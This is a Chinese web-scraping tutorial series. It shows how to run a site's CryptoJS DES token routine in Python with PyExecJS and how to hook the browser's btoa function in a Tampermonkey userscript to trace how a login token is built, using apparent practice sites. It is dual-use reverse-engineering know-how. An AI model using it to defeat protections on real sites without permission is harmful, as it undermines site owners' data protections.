Python 爬虫技术的基本内容包括网页基础分析、requests 请求、XPath 和正则解析、Ajax 分析、Selenium 模拟浏览器爬取、Scrapy 等知识点,但技术不是一成不变的,随着近几年时代的发展,一些新兴爬虫技术如异步爬虫、JavaScript 逆向、AST 技术、安卓逆向、Hook、智能解析、WebAssembly、大规模分布式、Docker、Kubernetes 等技术不断涌现,而现在网上的爬虫文章也存在着极大问题,一个是内容泛滥不堪、同质化严重,另一个是几乎没有几篇博文能紧跟前沿技术,多数还停留在几年前的水平,而且很多爬虫教程所用案例已经非常老旧而且多数也无法运行,这极大地打击了初学者的自信心。

因此,2022 年了,有一套内容全面的、紧跟前沿技术的、案例稳定运行的爬虫教程可谓是非常难得。

是的,所以在 2021 年底,我又出版了《Python3 网络爬虫开发实战(第二版)》,对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,

目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就这一套教程了,当然书的话也仅有《Python3 网络爬虫开发实战(第二版)》可以做到。

本教程内容多数来自于《Python3 网络爬虫开发实战(第二版)》,本教程对书中内容进行了精简和梳理,尽量覆盖到最新的知识点,当然更全面的内容可以购买《Python3 网络爬虫开发实战(第二版)》一书了解更多。

以下为 Python3 网络爬虫学习教程内容:

爬虫基础入门

  1. 什么是爬虫?
  2. HTTP 基本原理
  3. Web 网页基础
  4. Session 和 Cookie
  5. urllib 爬虫初体验
  6. 方便好用的 requests
  7. 强大灵活的正则表达式
  8. 基础爬虫案例爬取实战

页面解析和数据存储

  1. 网页解析利器 XPath 初体验
  2. 新兴网页解析利器 parsel
  3. 简易的 TXT 纯文本文件存储
  4. 方便灵活的 JSON 文本文件存储
  5. 高效实用的 MongoDB 文档存储
  6. 关系型数据库 MySQL 存储
  7. 当爬虫遇见 RabbitMQ 消息队列
  8. 便于高效检索的 Elasticsearch 存储

Ajax 分析和动态渲染页面爬取

  1. 什么是 Ajax?
  2. Ajax 分析方法
  3. Ajax 案例爬取实战
  4. 经典动态渲染工具 Selenium 的使用
  5. 新兴动态渲染工具 Playwright 的使用

异步爬虫和模拟登录

  1. 协程的基本原理
  2. aiohttp 的基本使用
  3. 模拟登录的基本原理
  4. Session + Cookie 模拟登录爬取实战

验证码的处理

  1. OCR 识别验证码
  2. OpenCV 图像匹配识别滑动验证码缺口
  3. 深度学习识别滑动验证码缺口

代理的使用

  1. 代理的基本原理
  2. 代理的基本使用
  3. 高效代理池的维护
  4. ADSL 拨号代理的使用

JavaScript 混淆、逆向技术

  1. JavaScript 网站加密和混淆技术简介
  2. JavaScript 逆向调试技巧
  3. JavaScript Hook 的用法
  4. Python 模拟执行 JavaScript

App 爬虫和安卓逆向

页面智能解析

Scrapy 框架和分布式爬虫

爬虫的部署、维护、监控

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

前面我们了解了一些 JavaScript 逆向的调试技巧,通过一些方法,我们可以找到一些突破口,进而找到关键的方法定义。

比如说,通过一些调试,我们找到了一个加密参数 token 是由某一个叫做 encrypt 方法产生的,如果里面的逻辑相对简单的话,那其实我们可以用 Python 完全重写一遍。但是现实情况往往不是这样的,一般来说,一些加密相关的方法通常会引用一些相关标准库,比如说 JavaScript 就有一个广泛使用的库,叫做 crypto-js,GitHub 仓库链接是:https://github.com/brix/crypto-js,这个库实现了很多主流的加密算法,包括对称加密、非对称加密、字符编码等等,比如对于 AES 加密,通常我们需要输入待加密文本和加密密钥,实现如下:

1
const ciphertext = CryptoJS.AES.encrypt(message, key).toString();

对于这样的情况,我们其实就没法很轻易地完全重写一遍了,因为 Python 中并不一定有和 JavaScript 完全一样的类库。

那有什么解决办法吗?有的,既然 JavaScript 已经实现好了,那我用 Python 直接模拟执行这些 JavaScript 得到结果不就好了吗?

所以,本节我们就来了解下使用 Python 模拟执行 JavaScript 的解决方案。

1. 案例引入

这里我们先看一个和上文描述的情形非常相似的案例,链接是:https://spa7.scrape.center/,如图所示:

image-20210825014021855

这是一个 NBA 球星网站,用卡片的形式展示了一些球星的基本信息,另外每一张卡片上其实都有一个加密字符串,这个加密字符串其实和球星的相关信息是有关联的,每个球星的 加密字符串也是不同的。

所以,这里我们要做的就是找出这个加密字符串的加密算法并用程序把加密字符串的生成过程模拟出来。

2. 准备工作

由于本节我们需要使用 Python 模拟执行 JavaScript,这里我们使用的库叫做 PyExecJS,我们使用 pip3 安装即可,命令如下:

1
pip3 install pyexecjs

PyExecJS 是用于执行 JavaScript 的,但执行 JavaScript 的功能需要依赖一个 JavaScript 运行环境,所以除了安装好这个库之外,我们还需要安装一个 JavaScript 运行环境,个人比较推荐的是 Node.js,所以我们还需要安装下 Node.js,可以到 https://nodejs.org/ 下载安装。更加详细的安装和配置过程可以参考:https://setup.scrape.center/pyexecjs。

PyExecJS 库在运行时会检测本地 JavaScript 运行环境来实现 JavaScript 执行,做好如上准备工作之后, 接着我们运行代码检查一下运行环境:

1
2
import execjs
print(execjs.get().name)

运行结果类似如下:

1
Node.js (V8)

如果你成功安装好 PyExecJS 库和 Node.js 的话,其结果就是 Node.js (V8),当然如果你安装的是其他的 JavaScript 运行环境,结果也会有所不同。

3. 分析

接下来我们就对这个网站稍作分析,打开 Sources 面板,我们可以非常轻易地找到加密字符串的生成逻辑,如图所示:

image-20210826034346308

首先声明了一个球员相关的列表,如:

1
2
3
4
5
6
7
8
9
10
const players = [
{
name: '凯文-杜兰特',
image: 'durant.png',
birthday: '1988-09-29',
height: '208cm',
weight: '108.9KG'
}
...
]

然后对于每一个球员,都把每个球员的信息调用了加密算法进行了加密,我们可以打个断点看下:

image-20210825014950392

这里我们可以看到,getToken 方法的输入就是单个球员的信息,就是上述列表的一个元素对象,然后 this.key 就是一个固定的字符串。整个加密逻辑就是提取了球员的名字、生日、身高、体重,然后先 Base64 编码然后再进行 DES 加密,最后返回结果。

加密算法是怎么实现的呢?其实就是依赖了 crypto-js 库,使用了 CryptoJS 对象来实现的。

那 CryptoJS 这个对象是哪里来的呢?总不能凭空产生吧?其实这个网站就是直接引用了这个库,如图所示:

image-20210826035113504

引用这个 JavaScript 文件之后,CryptoJS 就被注入到浏览器全局环境下了,因此我们就可以在别的方法里面直接使用 CryptoJS 对象里面的方法了。

4. 模拟调用

好,那既然这样,我们要怎么模拟呢?下面我们来实现下。

首先,我们要模拟的其实就是这个 getToken 方法,输入球员相关信息,得到最终的加密字符串,这里我们直接把 key 替换下,把 getToken 方法稍微改写如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function getToken(player) {
let key = CryptoJS.enc.Utf8.parse("fipFfVsZsTda94hJNKJfLoaqyqMZFFimwLt");
const { name, birthday, height, weight } = player;
let base64Name = CryptoJS.enc.Base64.stringify(CryptoJS.enc.Utf8.parse(name));
let encrypted = CryptoJS.DES.encrypt(
`${base64Name}${birthday}${height}${weight}`,
key,
{
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7,
}
);
return encrypted.toString();
}

因为这个方法的模拟执行是需要 CryptoJS 这个对象的,如果我们直接调用这个方法肯定会报 CryptoJS 未定义的错误。

那怎么办呢?我们只需要再模拟执行下刚才看到的 crypto-js.min.js 不就好了吗?

OK,所以,我们需要模拟执行的内容就是两部分:

  • 模拟运行 crypto-js.min.js 里面的 JavaScript,用于声明 CryptoJS 对象。
  • 模拟运行 getToken 方法的定义,用于声明 getToken 方法。

好,接下来我们就把 crypto-js.min.js 里面的代码和上面 getToken 方法的代码复制一下,都粘贴到一个 JavaScript 文件里面,比如就叫做 crypto.js。

接下来我们就用 PyExecJS 模拟执行一下吧,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import execjs
import json

item = {
'name': '凯文-杜兰特',
'image': 'durant.png',
'birthday': '1988-09-29',
'height': '208cm',
'weight': '108.9KG'
}

file = 'crypto.js'
node = execjs.get()
ctx = node.compile(open(file).read())

js = f"getToken({json.dumps(item, ensure_ascii=False)})"
print(js)
result = ctx.eval(js)
print(result)

这里我们单独定义了一位球员的信息,赋值为 item 变量。然后使用 execjs 的 get 方法获取了 JavaScript 执行环境,赋值为 node。

接着我们调用了 node 的 compile 方法,传入了刚才定义的 crypto.js 文件的文本内容,compile 方法会返回一个 JavaScript 的上下文对象,我们赋值为 ctx。执行到这里,其实就可以理解为,ctx 对象里面就执行过了 crypto-js.min.js,CryptoJS 就声明好了,然后也执行过了 getToken 的定义,所以 getToken 方法也定义好了,相当于完成了一些初始化的工作。

接着,我们只需要定义好我们想要执行的 JavaScript 代码就好了,我们定义了一个 js 变量,其实就是模拟调用了 getToken 方法并传入了球员信息,我们打印了下 js 变量的值,内容如下:

1
getToken({"name": "凯文-杜兰特", "image": "durant.png", "birthday": "1988-09-29", "height": "208cm", "weight": "108.9KG"})

其实这就是一个标准的 JavaScript 方法调用的写法而已。

接着我们调用 ctx 对象的 eval 方法并传入 js 变量,其实就是模拟执行了这句 JavaScript 代码,照理来说最终返回的就是加密字符串了。

然而,运行之后,我们可能看到这个报错:

1
execjs._exceptions.ProgramError: ReferenceError: CryptoJS is not defined

很奇怪,CryptoJS 未定义?我们明明执行过 crypto-js.min.js 里面的内容了呀?

问题其实出在 crypto-js.min.js 里面,可以看到其里面声明了一个 JavaScript 的自执行方法,如图所示:

image-20210825020403826

自执行方法什么意思呢?就是声明了一个方法,然后紧接着调用执行,我们可以看下这个例子:

1
2
3
!(function (a, b) {
console.log("result", a, b);
})(1, 2);

这里我们先声明了一个 function,然后接收 a 和 b 两个参数,然后把内容输出出来,然后我们把这个 function 用小括号括起来,这其实就是一个方法,可以被直接调用的,怎么调用呢?后面再跟上对应的参数就好了,比如传入 1 和 2,执行结果如下:

1
result 1 2

可以看到,这个自执行的方法就被执行了。

同理地,crypto-js.min.js 也符合这个格式,它接收 t 和 e 两个参数,t 就是 this,其实就是浏览器中的 window 对象,e 就是一个 function(用于定义 CryptoJS 的核心内容)。

我们再来观察下 crypto-js.min.js 开头的定义:

1
2
3
4
5
"object" == typeof exports
? (module.exports = exports = e())
: "function" == typeof define && define.amd
? define([], e)
: (t.CryptoJS = e());

在 Node.js 中,其实 exports 就是用来将一些对象的定义进行导出的,这里 "object" == typeof exports 其实结果就是 true,所以就执行了 module.exports = exports = e() 这段代码,这样就相当于把 e() 作为整体导出了,而这个 e() 其实就对应这后面的整个 function,function 里面定义了加密相关的各个实现,其实就指代整个加密算法库。

但是在浏览器中,其结果就不一样了,浏览器环境中并没有 exports 和 define 这两个对象。所以,上述代码在浏览器中最后执行的就是 t.CryptoJS = e() 这段代码,其实这里就是把 CryptoJS 对象挂载到 this 对象上面,而 this 就是浏览器中的全局 window 对象,后面就可以直接用了。如果我们把代码放在浏览器中运行,那是没有任何问题的。

然而,我们使用的 PyExecJS 是依赖于一个 Node.js 执行环境的,所以上述代码其实执行的是 module.exports = exports = e(),这里面并没有声明 CryptoJS 对象,也没有把 CryptoJS 挂载到全局对象里面,所以后面我们再调用 CryptoJS 就自然而然出现了未定义的错误了。

那怎么办呢?其实很简单,那我们直接声明一个 CryptoJS 变量,然后手动声明一下它的初始化不就好了吗?所以我们可以把代码稍作修改,改成如下内容:

1
2
3
4
5
6
7
8
9
10
11
var CryptoJS;
!(function (t, e) {
CryptoJS = e();
"object" == typeof exports
? (module.exports = exports = e())
: "function" == typeof define && define.amd
? define([], e)
: (t.CryptoJS = e());
})(this, function () {
//...
});

这里我们就首先声明了一个 CryptoJS 变量,然后直接给 CryptoJS 变量赋值给 e(),这样就完成了 CryptoJS 的初始化。

这样我们再重新运行刚才的 Python 脚本,就可以得到执行结果了:

1
gQSfeqldQIJKAZHH9TzRX/exvIwb0j73b2cjXvy6PeZ3rGW6sQsL2w==

这样我们就成功得到加密字符串了,和示例网站上显示的是一模一样的,这样我们就成功模拟 JavaScript 的调用完成了某个加密算法的运行过程。

5. 总结

本节介绍了利用 PyExecJS 来模拟执行 JavaScript 的方法,结合一个案例来完成了整个的实现和问题排查的过程。本节内容还是比较重要的,以后我们如果需要模拟执行 JavaScript 就可以派得上用场。

本节代码;https://github.com/Python3WebSpider/ScrapeSpa7。

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

在 JavaScript 逆向的时候,我们经常需要追踪某些方法的堆栈调用情况。但在很多情况下,一些 JavaScript 的变量或者方法名经过混淆之后是非常难以捕捉的。上一节我们介绍了一些断点调试、调用栈查看等技巧,但仅仅凭借这些技巧还不足以应对多数 JavaScript 逆向。

本节我们再来介绍一个比较常用的 JavaScript 逆向技巧 —— Hook 技术。

1. Hook 技术

Hook 技术中文又叫作钩子技术,指在程序运行的过程中,对其中的某个方法进行重写,在原先的方法前后加入我们自定义的代码。相当于在系统没有调用该函数之前,钩子程序就先捕获该消息,得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,也可以强制结束消息的传递。

要对 JavaScript 代码进行 Hook 操作,就需要额外在页面中执行一些自定义的有关 Hook 逻辑的代码。那么问题来了?怎样才能在浏览器中方便地执行我们所期望执行的 JavaScript 代码呢?在这里推荐一个插件,叫作 Tampermonkey。这个插件的功能非常强大,利用它我们几乎可以在网页中执行任何 JavaScript 代码,实现我们想要的功能。

下面我们就来介绍一下这个插件的使用方法,并结合一个实际案例,介绍一下这个插件在 JavaScript Hook 中的用途。

2. Tampermonkey

Tampermonkey,中文也叫作“油猴”,它是一款浏览器插件,支持 Chrome。利用它我们可以在浏览器加载页面时自动执行某些 JavaScript 脚本。由于执行的是 JavaScript,所以我们几乎可以在网页中完成任何我们想实现的效果,如自动爬虫、自动修改页面、自动响应事件等。

其实,Tampermonkey 的用途远远不止这些,只要我们想要的功能能用 JavaScript 实现,Tampermonkey 就可以帮我们做到。比如我们可以将 Tampermonkey 应用到 JavaScript 逆向分析中,去帮助我们更方便地分析一些 JavaScript 加密和混淆代码。

3. 安装

首先我们需要安装 Tampermonkey,这里我们使用的浏览器是 Chrome。直接在 Chrome 应用商店或者在 Tampermonkey 的官网 https://www.tampermonkey.net/ 下载安装即可。

安装完成之后,在 Chrome 浏览器的右上角会出现 Tampermonkey 的图标,这就代表安装成功了,如图所示。

4. 获取脚本

Tampermonkey 运行的是 JavaScript 脚本,每个网站都能有对应的脚本运行,不同的脚本能完成不同的功能。这些脚本我们可以自定义,也可以用已经写好的很多脚本,毕竟有些轮子有了,我们就不需要再去造了。

我们可以在 https://greasyfork.org/zh-CN/scripts 找到一些非常实用的脚本,如全网视频去广告、百度云全网搜索等,大家可以体验一下。

5. 脚本编写

除了使用别人已经写好的脚本,我们也可以自己编写脚本来实现想要的功能。编写脚本难不难呢?其实就是写 JavaScript 代码,只要懂一些 JavaScript 的语法就好了。另外我们需要遵循脚本的一些写作规范,其中就包括一些参数的设置。

下面我们就简单实现一个小的脚本。首先我们可以点击 Tampermonkey 插件图标,再点击“管理面板”按钮,打开脚本管理页面,如图所示。

脚本管理页面如图所示。

在这里显示了我们已经有的一些 Tampermonkey 脚本,包括我们自行创建的,也包括从第三方网站下载安装的。另外这里提供了编辑、调试、删除等管理功能,在这里可以方便地对脚本进行管理。

接下来我们来创建一个新的脚本,点击左侧的“+”号,会显示如图所示的页面。

初始化的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// ==UserScript==
// @name New Userscript
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match https://www.tampermonkey.net/documentation.php?ext=dhdg
// @grant none
// ==/UserScript==

(function () {
"use strict";

// Your code here...
})();

在上面这段代码里,最前面是一些注释,它们非常有用,这部分内容叫作 UserScript Header ,我们可以在里面配置一些脚本的信息,如名称、版本、描述、生效站点等等。

下面简单介绍一下 UserScript Header 的一些参数定义。

  • @name:脚本的名称,就是在控制面板显示的脚本名称。

  • @namespace:脚本的命名空间。

  • @version:脚本的版本,主要是做版本更新时用。

  • @author:作者。

  • @description:脚本描述。

  • @homepage@homepageURL@website@source:作者主页,用于在 Tampermonkey 选项页面上从脚本名称点击跳转。请注意,如果 @namespace 标记以 http://开头,此处也要一样。

  • @icon@iconURL@defaulticon:低分辨率图标。

  • @icon64@icon64URL:64 × 64 高分辨率图标。

  • @updateURL:检查更新的网址,需要定义 @version

  • @downloadURL:更新下载脚本的网址,如果定义成 none 就不会检查更新。

  • @supportURL:报告问题的网址。

  • @include:生效页面,可以配置多个,但注意这里并不支持 URL Hash。

    例如:

    1
    2
    3
    4
    // @include http://www.tampermonkey.net/*
    // @include http://*
    // @include https://*
    // @include *
  • @match:约等于 @include 标签,可以配置多个。

  • @exclude:不生效页面,可配置多个,优先级高于 @include@match

  • @require:附加脚本网址,相当于引入外部的脚本,这些脚本会在自定义脚本执行之前执行,比如引入一些必须的库,如 jQuery 等,这里可以支持配置多个 @require 参数。

    例如:

    1
    2
    3
    // @require https://code.jquery.com/jquery-2.1.4.min.js
    // @require https://code.jquery.com/jquery-2.1.3.min.js#sha256=23456...
    // @require https://code.jquery.com/jquery-2.1.2.min.js#md5=34567...,sha256=6789...
  • @resource:预加载资源,可通过 GM_getResourceURLGM_getResourceText 读取。

  • @connect:允许被 GM_xmlhttpRequest 访问的域名,每行 1 个。

  • @run-at:脚本注入的时刻,如页面刚加载时,某个事件发生后等。

    • document-start:尽可能地早执行此脚本。
    • document-body:DOM 的 body 出现时执行。
    • document-endDOMContentLoaded 事件发生时或发生后执行。
    • document-idleDOMContentLoaded 事件发生后执行,即 DOM 加载完成之后执行,这是默认的选项。
    • context-menu:如果在浏览器上下文菜单(仅限桌面 Chrome 浏览器)中点击该脚本,则会注入该脚本。注意:如果使用此值,则将忽略所有 @include@exclude 语句。
  • @grant:用于添加 GM 函数到白名单,相当于授权某些 GM 函数的使用权限。

    例如:

    1
    2
    3
    4
    5
    6
    // @grant GM_setValue
    // @grant GM_getValue
    // @grant GM_setClipboard
    // @grant unsafeWindow
    // @grant window.close
    // @grant window.focus

    如果没有定义过 @grant 选项,Tampermonkey 会猜测所需要的函数使用情况。

  • @noframes:此标记使脚本在主页面上运行,但不会在 iframe 上运行。

  • @nocompat:由于部分代码可能是为专门的浏览器所写,通过此标记,Tampermonkey 会知道脚本可以运行的浏览器。

    例如:

    1
    // @nocompat Chrome

    这样就指定了脚本只在 Chrome 浏览器中运行。

除此之外,Tampermonkey 还定义了一些 API,使得我们可以方便地完成某个操作。

  • GM_log:将日志输出到控制台。
  • GM_setValue:将参数内容保存到 Storage 中。
  • GM_addValueChangeListener:为某个变量添加监听,当这个变量的值改变时,就会触发回调。
  • GM_xmlhttpRequest:发起 Ajax 请求。
  • GM_download:下载某个文件到磁盘。
  • GM_setClipboard:将某个内容保存到粘贴板。

还有很多其他的 API,大家可以到 https://www.tampermonkey.net/documentation.php 查看更多的内容。

UserScript Header 下方是 JavaScript 函数和调用的代码,其中 'use strict' 标明代码使用 JavaScript 的严格模式。在严格模式下,可以消除 Javascript 语法的一些不合理、不严谨之处,减少一些怪异行为,如不能直接使用未声明的变量,这样可以保证代码的运行安全,同时提高编译器的效率,提高运行速度。在下方 // Your code here... 处就可以编写自己的代码了。

6. 实战分析

下面我们通过一个简单的 JavaScript 逆向案例来演示一下如何实现 JavaScript 的 Hook 操作,轻松找到某个方法执行的位置,从而快速定位逆向入口。

接下来我们来看一个简单的网站:https://login1.scrape.center/,这个网站的结构非常简单,就是一个用户名密码登录。但是不同的是,点击登录的时候,表单提交 POST 的内容并不是单纯的用户名和密码,而是一个加密后的 token。

页面如图所示。

image-20210509215948819

我们输入用户名密码,都为 admin,点击登录按钮,观察一下网络请求的变化。

可以看到如下结果如图所示。

image-20210509220046359

我们不需要关心 Response 的结果和状态,主要看 Request 的内容就好了。

可以看到,点击登录按钮时,发起了了一个 POST 请求,内容为:

1
{"token":"eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiJ9"}

嗯,确实,没有诸如 usernamepassword 的内容了,那怎么模拟登录呢?

模拟登录的前提当然就是找到当前 token 生成的逻辑了,那么问题来了,到底这个 token 和用户名、密码是什么关系呢?我们怎么来找寻其中的蛛丝马迹呢?

这里我们就可能思考了,本身输入的是用户名和密码,但提交的时候却变成了一个 token,经过观察并结合一些经验可以看出,token 的内容非常像 Base64 编码。这就代表,网站可能首先将用户名密码混为了一个新的字符串,然后经过了一次 Base64 编码,最后将其赋值为 token 来提交了。所以,初步观察我们可以得出这么多信息。

好,那就来验证一下吧!探究网站 JavaScript 代码里面是如何实现的。

首先我们看一下网站的源码,打开 Sources 面板,看起来都是 Webpack 打包之后的内容,经过了一些混淆,如图所示。

image-20210509222556397

这么多混淆代码,总不能一点点扒着看吧?那么遇到这种情形,这怎么去找 token 的生成位置呢?

解决方法其实有两种,一种就是前文所讲的 Ajax 断点,另一种就是 Hook。

Ajax 断点

由于这个请求正好是一个 Ajax 请求,所以我们可以添加一个 XHR 断点监听,把 POST 的网址加到断点监听上面。在 Sources 面板右侧添加一个 XHR 断点,匹配内容就填当前域名就好了,如图所示。

image-20210509223127936

这时候如果我们再次点击登录按钮,发起一次 Ajax 请求,就可以进入断点了,然后再看堆栈信息,就可以一步步找到编码的入口了。

再次点击登录按钮,页面就进入断点状态停下来了,结果如图所示。

image-20210509223337762

一步步找,最后可以找到入口其实是在 onSubmit 方法那里。但实际上我们观察到,这里的断点的栈顶还包括了一些类似 async Promise 等无关的内容,而我们真正想找的是用户名和密码经过处理,再进行 Base64 编码的地方,这些请求的调用实际上和我们找寻的入口没有很大的关系。

另外,如果我们想找的入口位置并不伴随这一次 Ajax 请求,这个方法就没法用了。

所以下面我们再来看另一个方法 —— Hook。

Hook Function

所以这里介绍第二种可以快速定位入口的方法,那就是使用 Tampermonkey 自定义 JavaScript,实现某个 JavaScript 方法的 Hook。Hook 哪里呢?很明显,Hook Base64 编码的位置就好了。

那么这里就涉及一个小知识点:JavaScript 里面的 Base64 编码是怎么实现的?

没错,就是 btoa 方法,在 JavaScript 中该方法用于将字符串编码成 Base64 字符串,因此我们来 Hook btoa 方法就好了。

好,这里我们新建一个 Tampermonkey 脚本,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// ==UserScript==
// @name HookBase64
// @namespace https://login1.scrape.center/
// @version 0.1
// @description Hook Base64 encode function
// @author Germey
// @match https://login1.scrape.center/
// @grant none
// ==/UserScript==
(function () {
"use strict";
function hook(object, attr) {
var func = object[attr];
object[attr] = function () {
console.log("hooked", object, attr);
var ret = func.apply(object, arguments);
debugger;
return ret;
};
}
hook(window, "btoa");
})();

首先我们定义了一些 UserScript Header,包括 @name@match等,这里比较重要的就是@name,表示脚本名称;另外一个就是 @match,它代表脚本生效的网址。

脚本的内容如上面代码所示。我们定义了一个 hook方法,传入 objectattr 参数,意思就是 Hook object 对象的 attr参数。例如我们如果想 Hook alert 方法,那就把 object 设置为 window,把 attr 设置为字符串 alert 。这里我们想要 Hook Base64 的编码方法,而在 JavaScript 中,Based64 编码是用 btoa 方法实现的,所以这里我们就只需要 Hook window 对象的 btoa 方法就好了。

那么 Hook 是怎么实现的呢?我们来看已下,首先一句 var func = object[attr],相当于我们先把它赋值为一个变量,我们调用 func 方法就可以实现和原来相同的功能。接着,我们直接改写这个方法的定义,将 object[attr] 改写成一个新的方法,在新的方法中,通过 func.apply 方法又重新调用了原来的方法。这样我们就可以保证前后方法的执行效果是不受什么影响的,之前这个方法该干啥就还是干啥。

但是和之前不同的是,我们自定义方法之后,现在可以在 func 方法执行的前后,再加入自己的代码,如 console.log 将信息输出到控制台,debugger 进入断点等。在这个过程中,我们先临时保存下来了 func 方法,然后定义一个新的方法,接管程序控制权,在其中自定义我们想要的实现,同时在新的方法里面重新调回 func 方法,保证前后结果是不受影响的。所以,我们达到了在不影响原有方法效果的前提下,实现在方法前后自定义的功能,这就是 Hook 的过程。

最后,我们调用 hook 方法,传入 window 对象和 btoa 字符串,保存。

接下来刷新下页面,这时候我们就可以看到这个脚本在当前页面生效了,可以发现 Tempermonkey 插件面板提示了已经启用,同时在 Sources 面板下的 Page 选项卡可以观察到我们定义的 JavaScript 脚本被执行了,如图所示。

image-20210509223942108

然后输入用户名、密码,点击提交,成功进入了断点模式停下来了,代码就卡在了我们自定义的 debugger 这一行代码的位置,如图所示。

image-20210509224216857

成功 Hook 住了,这说明 JavaScript 代码在执行过程中调用到了 btoa 方法。

这时看一下控制台,如图所示。

image-20210509224328452

这里也输出了 window 对象和 btoa 方法,验证正确。

这样,我们就顺利找到了 Base64 编码操作这个路口,然后看一下堆栈信息,也已经不会出现 async、Promise 这样的调用了,很清晰地呈现了 btoa 方法逐层调用的过程,非常清晰明了,如图所示。

image-20210509224356222

另外再观察下 Local 面板,看看 arguments 变量是怎样的,如图所示。

image-20210509224448758

可以说一目了然了,arguments 就是指传给 btoa 方法的参数,ret 就是 btoa 方法返回的结果,可以看到 arguments 就是 usernamepassword 通过 JSON 序列化之后的字符串,经过 Base64 编码之后得到的值恰好就是 Ajax 请求参数 token 的值。

结果几乎也明了了,我们还可以通过调用栈找到 onSubmit 方法的处理源码:

1
2
3
4
5
6
7
8
onSubmit: function() {
var e = c.encode(JSON.stringify(this.form));
this.$http.post(a["a"].state.url.root, {
token: e
}).then((function(e) {
console.log("data", e)
}))
}

仔细看看,encode 方法其实就是调用了一下 btoa方法,就是一个 Base64 编码的过程,答案其实已经很明了了。

当然我们还可以进一步打断点验证一下流程,比如在调用 encode 方法的一行打断点,如图所示。

image-20210509224938312

打完断点之后,可以点击 Resume 按钮恢复 JavaScript 的执行,跳过当前 Tempermonkey 定义的断点位置,如图所示。

image-20210509225049534

然后重新再点击登录按钮,可以看到这时候就停在了当前打断点的位置了,如图所示。

image-20210509225531743

这时候可以在 Watch 面板下输入 this.form,验证此处是否为在表单中输入的用户名密码,如图所示。

image-20210509225732574

没问题,然后逐步调试。我们还可以可以观察到,下一步就跳到了我们 Hook 的位置,这说明调用了 btoa 方法,如图所示。

image-20210509225907721

返回的结果正好就是 token 的值。

所以,验证到这里,已经非常清晰了,整体逻辑就是对登录表单的用户名和密码进行了 JSON 序列化,然后调用了 encode 也就是 btoa 方法,并赋值为了 token 发起登录的 Ajax 请求,逆向完成。

我们通过 Tampermonkey 自定义 JavaScript 脚本的方式,实现了某个方法调用的 Hook,使得我们能快速定位到加密入口的位置,非常方便。

以后如果观察出一些门道,可以多使用这种方法来尝试,如 Hook encode 方法、decode方法、stringify 方法、log 方法、alert 方法等,简单又高效。

7. 总结

以上便是通过 Tampermonkey 实现简单 Hook 的基础操作,当然这仅仅是一个常见的基础案例,我们可以从中总结出一些 Hook 的基本门道。

由于本节涉及到一些专有名词,部分内容参考如下:

  • 博客 - Hook 技术:https://www.jianshu.com/p/3382cc765b39
  • 官网 - Tampermonkey 官网:http://www.tampermonkey.net/
  • 文档 - Base64 编码:https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/btoa

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

随着大数据时代的发展,各个公司的数据保护意识越来越强,大家都在想尽办法保护自家产品的数据不轻易被爬虫爬走。由于网页是提供信息和服务的重要载体,所以对网页上的信息进行保护就成了至关重要的一个环节。

网页是运行在浏览器端的,当我们浏览一个网页时,其 HTML 代码、 JavaScript 代码都会被下载到浏览器中执行。借助浏览器的开发者工具,我们可以看到网页在加载过程中所有网络请求的详细信息,也能清楚地看到网站运行的 HTML 代码和 JavaScript 代码,这些代码中就包含了网站加载的全部逻辑,如加载哪些资源、请求接口是如何构造的、页面是如何渲染的等等。正因为代码是完全透明的,所以如果我们能够把其中的执行逻辑研究出来,就可以模拟各个网络请求进行数据爬取了。

然而,事情没有想象得那么简单。随着前端技术的发展,前端代码的打包技术、混淆技术、加密技术也层出不穷,借助于这些技术,各个公司可以在前端对 JavaScript 代码采取一定的保护,比如变量名混淆、执行逻辑混淆、反调试、核心逻辑加密等,这些保护手段使得我们没法很轻易地找出 JavaScript 代码中包含的的执行逻辑。

